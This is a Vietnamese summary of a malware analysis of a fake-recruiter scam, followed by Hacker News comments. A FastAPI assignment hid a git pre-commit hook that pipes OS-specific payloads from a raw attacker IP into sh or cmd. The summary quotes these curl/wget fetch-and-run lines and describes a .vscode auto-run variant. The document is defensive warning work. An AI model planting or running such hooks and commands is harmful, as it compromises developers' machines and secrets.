- Một kẻ tuyển dụng giả mạo trên LinkedIn đề nghị vị trí lập trình viên Python làm việc từ xa với mức $10,000~15,000/tháng, gửi một tệp ZIP ngụy trang thành bài tập FastAPI bình thường, nhưng được sắp đặt để malware được cài trong quá trình làm việc với Git
- Trong
.git/hookscủa kho chứa có ẩn hook pre-commit lặng lẽ chạy payload từ xa theo từng hệ điều hành, và các bước Git trong PDF bài tập chính là cơ chế dụ ứng viên kích hoạt nó - Payload trên Linux tải xuống script giai đoạn 2 vào
~/Documents, chạy bằngnohup, rồi cài Node.js cùng các dependency vàparser.jsđã bị làm rối để vận hành nền - Khi thay đổi giá trị
id=402trong yêu cầu, máy chủ trả về script khác;package.jsoncó cảclipboardyđể truy cập clipboard vàhardhatcho môi trường phát triển Ethereum, nhưng mục đích cuối cùng vẫn chưa được xác định - Kẻ tấn công chỉ bổ sung thư mục độc hại vào một kho FastAPI công khai; biến thể khác có thể chạy lệnh chỉ bằng cách mở thư mục trong VSCode. Cần kiểm tra thư mục ẩn và cấu hình tự động chạy trước khi xử lý dự án từ bên ngoài
Đề nghị tuyển dụng quá tốt đến mức đáng ngờ
- Một lời mời tuyển dụng lập trình viên Python gửi qua LinkedIn đưa ra hình thức hợp đồng ưu tiên làm việc từ xa, trả $10,000~15,000/tháng rồi có thể chuyển sang chính thức
- Mức thù lao cao được công khai ngay cả trước khi phỏng vấn, và với mặt bằng tại Ấn Độ thì đây là dấu hiệu cảnh báo đầu tiên
- Công ty dùng trong quá trình tuyển dụng được xác nhận là một startup thuộc Y Combinator, nhưng vẫn còn nghi ngờ rằng nếu thật sự có ngân sách như vậy thì quy trình tuyển dụng thường phải bài bản hơn
- Sau khi gửi CV, ứng viên được chấp thuận gần như ngay lập tức và nhận một tệp ZIP cùng PDF hướng dẫn bài tập qua Google Drive
- PDF yêu cầu cải thiện codebase hiện có, đề xuất kiến trúc và thực hiện các thao tác Git, nên bề ngoài rất giống một tài liệu đánh giá bình thường
Hook Git ẩn trong dự án FastAPI
- Tệp nén chứa một backend FastAPI khá bình thường dùng SQLAlchemy, và trong
requirements.txtcũng không thấy gói typosquatting hay package độc hại rõ ràng nào - Khi chạy
tree -ađể kiểm tra các mục ẩn, có thể thấy nhiều Git hook đã được cấu hình sẵn dưới.git/hooks - Script
pre-commitxác định hệ điều hành bằnguname -s, rồi tải và chạy payload theo từng nền tảng từ cùng một máy chủ- Trên macOS, nó chạy
curl .../task/mac?id=402 | sh - Trên Linux, nó chạy
wget .../task/linux?id=402 | sh - Trên Windows, nó chạy
curl .../task/windows?id=402 | cmd
- Trên macOS, nó chạy
- Tất cả đầu ra đều bị chuyển vào
/dev/nullvà tiến trình được đẩy xuống nền để che giấu dấu vết thực thi khỏi người dùng - Thay vì dùng tên miền, mã độc gọi trực tiếp địa chỉ IP thô
45.61.164.38:5777, khiến hành vi độc hại càng lộ rõ hơn
Payload nhiều giai đoạn trên Linux
- Script Linux đầu tiên tải
tokenlinux.nplvào~/Documents, đổi tên thànhtokenlinux.sh, rồi cấp quyền thực thi - Sau đó nó dùng
nohup bashđể chạy script ở chế độ nền, giúp tiến trình tiếp tục hoạt động ngay cả khi đóng terminal hoặc đăng xuất - Script giai đoạn 2 lặng lẽ thực hiện các việc sau
- Cài Node.js và cấu hình đường dẫn hệ thống
- Tải
parser.jsvàpackage.json - Cài các dependency npm cần thiết
- Chạy
parser.jsbằngnohup nodevà ghi log vàoparser.log
parser.jsbị làm rối nặng đến mức rất khó phân tích thủ công; tệp gốc được lưu tạiparser.js
Khả năng định danh theo từng nạn nhân
- Endpoint liên tục nhận tham số
id=402, và khi thay giá trị này thì máy chủ trả về một script hoàn toàn khác - Có khả năng kẻ tấn công gán định danh riêng cho từng ứng viên để cung cấp payload tùy biến, nhưng cách theo dõi thực tế chưa được xác nhận
- Nhiều LLM đã được dùng để gỡ rối mã, nhưng kết quả không thống nhất
- Claude từ chối phân tích do cơ chế an toàn được kích hoạt
- Gemini cung cấp kết quả phân tích script
- Việc tìm kiếm phần mở rộng gốc
tokenlinux.nplcho thấy nó có liên quan đến một chiến dịch tấn công rộng hơn
Các dependency Node.js đáng ngờ
- Tên dự án trong
package.jsonlàtokendapp, với các dependency nhưhardhat,axios,basic-ftp,clipboardy,jsonwebtoken,ps-node,request... - Không rõ vì sao một tác vụ cấu hình nền lại cần truy cập clipboard qua
clipboardyvà các package liên quan đến hệ thống tệp hardhatlà môi trường phát triển Ethereum, nhưng vì Ethereum đã chuyển khỏi cơ chế proof-of-work nên khó thể kết luận đây là cấu hình đào coin thông thường- Khả năng tìm ví tiền mã hóa hoặc tương tác với extension trình duyệt cục bộ cũng đã được xem xét, nhưng mục đích độc hại cuối cùng vẫn chưa được xác định
Biến thể khác dùng VSCode
- Một biến thể khác của cùng kiểu tấn công ẩn thư mục
.vscodetrong tệp ZIP và cấu hình để lệnh được thực thi khi mở thư mục đó bằng VSCode - Cách này cho phép lây nhiễm chỉ bằng thao tác mở thư mục, ngay cả khi không chạy lệnh Git hay trực tiếp thực thi mã dự án
- Cuối cùng xác nhận rằng không phải công ty cụ thể nào trực tiếp tham gia tấn công; kẻ tấn công chỉ mượn tên các công ty mà chúng tìm thấy để làm lời mời tuyển dụng trông hợp pháp hơn
Tái sử dụng kho công khai làm lớp ngụy trang
- Trong
git log, lịch sử commit của các lập trình viên ban đầu vẫn còn nguyên, cho thấy đây không phải dự án do kẻ tấn công tự tạo - Nguồn gốc là kho công khai
personal-finance-service - Kẻ tấn công sao chép một dự án FastAPI bình thường rồi chỉ thêm thư mục ẩn độc hại để ngụy trang thành codebase bài tập
- Nếu chỉ xem mã nguồn bình thường và
requirements.txtsạch sẽ, rất dễ bỏ sót hành vi độc hại
Điều tra máy chủ tấn công và giới hạn
- Kết quả quét máy chủ tấn công bằng Nmap cho thấy có 3 cổng mở, trong đó 2 cổng không phản hồi khi dò phiên bản
- Cổng 22 chạy OpenSSH 9.6p1 của Ubuntu
- Tại thời điểm quét, phiên bản này mới phát hành khoảng hơn một tuần nên không tìm thấy CVE đã biết nào có thể khai thác, khiến việc mở rộng điều tra vào bên trong máy chủ trở nên khó khăn
- Dù cách phát tán malware khá lộ liễu, bảo mật vận hành của máy chủ lại được duy trì tương đối tốt, và việc truy vết dừng lại ở đó
Vai trò của bài tập Git
- Các bước Git trong PDF bài tập được thiết kế để buộc ứng viên ít nhất một lần chạy lệnh Git, từ đó kích hoạt hook đã được cài sẵn
- Có vẻ như kẻ tuyển dụng giả đã xóa tài khoản LinkedIn ngay sau khi nhận được thông báo rằng cuộc tấn công đã bị phát hiện
- Trước khi chạy dự án lạ hoặc thực hiện lệnh Git, nên dùng các công cụ như
tree -ađể kiểm tra.git,.vscodevà các thư mục ẩn cùng cấu hình tự động chạy
1 bình luận
Ý kiến trên Hacker News
Chỉ sau khi đọc bài này tôi mới nhận ra mình đã bị nhắm tới và hack theo cách tinh vi hơn nhiều
Vài tuần trước tôi đã phỏng vấn với CTO của một công ty có thật; người đó tắt camera và có giọng khá nặng, nhưng nội dung phỏng vấn rất tự nhiên và rõ ràng là hiểu kỹ thuật. Trong vòng phỏng vấn kỹ thuật, họ nói tôi cần sửa dự án mã nguồn mở của công ty, rồi bảo tôi clone repository và kiểm tra môi trường phát triển
Sau đó, nhân sự nói buổi phỏng vấn bị hoãn vì CTO bị ốm, và vài ngày sau hồ sơ LinkedIn của người đó cũng bị xóa. Sau khi xem bài này, tôi kiểm tra lại thì thấy repository mà tôi đã clone và chạy trong lúc phỏng vấn có chứa payload mã độc
Có lẽ tôi bị nhắm tới vì trước đây từng quản lý một gói NPM có hơn 43 triệu lượt tải mỗi tuần. Tôi đã bật xác thực hai yếu tố cho mọi tài khoản và cũng triển khai gói NPM thủ công không dùng token, nhưng giờ vẫn phải reset laptop và cài lại toàn bộ
Tôi có tìm các bài HN tương tự nhưng chưa thấy trường hợp nào nói đã gọi cả Google Meet với kẻ lừa đảo
Nếu là công ty nghiêm túc thì họ sẽ cân nhắc điều đó, còn nếu từ chối thì coi như mình đã tránh được rủi ro. Giờ ai cũng dùng LLM rộng rãi để sinh mã, nên tôi nghĩ điều này phải làm được với bất kỳ stack công nghệ nào
Có vẻ gần đây các cuộc tấn công từ Triều Tiên nhắm vào lập trình viên đang gia tăng. Ngoài các thủ đoạn kiểu này đã kéo dài nhiều năm, tôi còn nhận email gần như mỗi tuần một lần từ hacker Triều Tiên kiểu “tôi xem hồ sơ của bạn rồi, có muốn cộng tác không”
Trong các cộng đồng Discord về lập trình cũng có nhiều tài khoản vừa tham gia vài ngày đã nhắn hỏi việc làm hay hợp tác. Có thể là người tìm việc thật, nhưng số lượng và mức độ giống nhau của các tin nhắn rất đáng ngờ; ngay cả những cộng đồng quanh thư viện Python ít người biết và hầu như không hoạt động cũng bị tìm tới, nên có vẻ họ đang quét danh sách cộng đồng Discord rồi tiếp cận hàng loạt
Các kiểu tấn công lợi dụng sự tin tưởng giữa con người với nhau đang nhiều lên, nên có lẽ phải nghe lời cha mẹ: đừng tin người lạ trên Internet
Thủ đoạn kiểm tra hệ điều hành của nạn nhân rồi âm thầm chạy payload từ xa đang lặp lại, và tháng trước cũng có một bài tương tự lên trang nhất
https://news.ycombinator.com/item?id=48546294
Việc dùng địa chỉ IP thô tạo cảm giác rất giống mã độc, nhưng nếu nạn nhân đã đào sâu đến mức kiểm tra nội dung hook thì chắc cũng không dừng nghi ngờ ở đó. Đa số lập trình viên có lẽ không nghĩ rằng
git commitcó thể kích hoạt hành vi độc hại, nên tôi cũng tự hỏi liệu đây có phải là một lỗ hổng bảo mật của Git hay khôngĐiều còn lại chỉ là các loại cơ chế an toàn đã khiến Claude hoàn toàn vô dụng như một trợ lý
Việc dùng IP thô có thể nhằm tránh để lại thông tin danh tính ở nhà đăng ký tên miền hoặc giảm dấu vết trực tuyến xuống mức tối thiểu
Phần lớn ảnh chụp màn hình không mở ngay được, tôi phải xem ở tab mới
Trò lừa này khá tinh vi nên có lẽ đã có rất nhiều người tìm việc mắc bẫy, và dự án Visual Studio Code trong bài còn có vẻ nguy hiểm hơn. Nếu chỉ mở dự án mà mã người dùng đã có thể chạy thì đó rõ ràng là một đường phát tán mã độc và cần có biện pháp giảm thiểu bảo mật
Cách xử lý của các trang tuyển dụng cũng còn kém. Chỉ cần yêu cầu bằng chứng đang làm việc nếu ai đó tự nhận thuộc một công ty hay tổ chức, và hiển thị cảnh báo lớn với tin nhắn từ tài khoản chưa được xác minh, thì đã có thể khiến nhiều vụ lừa đảo khó thực hiện hơn. Hiện giờ ai cũng có thể tự nhận từng làm ở công ty nào hay học ở đâu
Thấy vui vì có bài về hack thật sự lên trang nhất Hacker News
http://www.catb.org/jargon/html/H/hacker.html
Nó chỉ người thích khám phá cấu trúc chi tiết và giới hạn của các hệ thống có thể lập trình, đặc biệt là những ai thích hiểu sâu cách vận hành bên trong của máy tính và mạng. Nó cũng chỉ những người không chỉ dừng ở lý thuyết mà còn lập trình với sự say mê, đôi khi đến mức cực kỳ dai dẳng
Nếu LinkedIn thực sự nghiêm túc trong việc ngăn lừa đảo, họ có thể cung cấp xác minh email công ty khi người dùng khai nơi làm việc hiện tại. Nếu bắt buộc là quá nặng thì ít nhất cũng có thể cho các nhà tuyển dụng muốn chứng minh tính hợp pháp của mình tự nguyện xác minh
Có lẽ giờ những chuyện tương tự cũng đang diễn ra để nhắm vào thị trường tuyển dụng AI và nhu cầu với LLM cùng tự động hóa
Những cuộc tấn công kiểu này có lẽ sẽ ngày càng phổ biến. Kẻ tấn công đã điều tra rất kỹ và thủ đoạn cũng rất độc, nhưng mức độ hoàn thiện về kỹ thuật thì phải công nhận, và tôi nghĩ tỷ lệ thành công thực tế cũng khá cao